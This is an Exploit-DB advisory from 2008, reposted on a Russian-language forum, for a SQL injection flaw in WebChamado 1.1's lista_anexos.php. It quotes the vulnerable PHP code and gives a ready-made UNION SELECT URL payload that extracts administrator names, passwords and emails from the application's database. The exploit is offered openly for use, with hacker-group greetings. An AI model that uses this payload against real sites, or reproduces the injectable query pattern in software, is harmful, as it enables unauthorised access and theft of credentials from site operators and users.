- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 5802
- Проверка EDB
-
- Пройдено
- Автор
- VIRANGAR SECURITY
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2008-2906 cve-2008-2858
- Дата публикации
- 2008-06-13
Код:
#######################################################################################
# #
# ...:::::WebChamado 1.1 SQL Injection Vulnerability ::::.... #
#######################################################################################
Virangar Security Team
www.virangar.net
www.virangar.ir
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in lista_anexos.php:
line 12: $tsk_id = $_GET['tsk_id'];
....
line 14: $query = "SELECT SEQ, DSC, TIP, TAM FROM TBLTASK_TSKARQ WHERE TSK_ID = $tsk_id ORDER BY DSC";
---
exploit:
http://site.com/lista_anexos.php?tsk_id=-1/**/union/**/select/**/1,concat(NOM,0x3a,PAS,char(58),EML),3,4/**/from/**/tbltask_res/**/where/**/ADM=1/*
-------
young iranian h4ck3rz
# milw0rm.com [2008-06-13]
- Источник
- www.exploit-db.com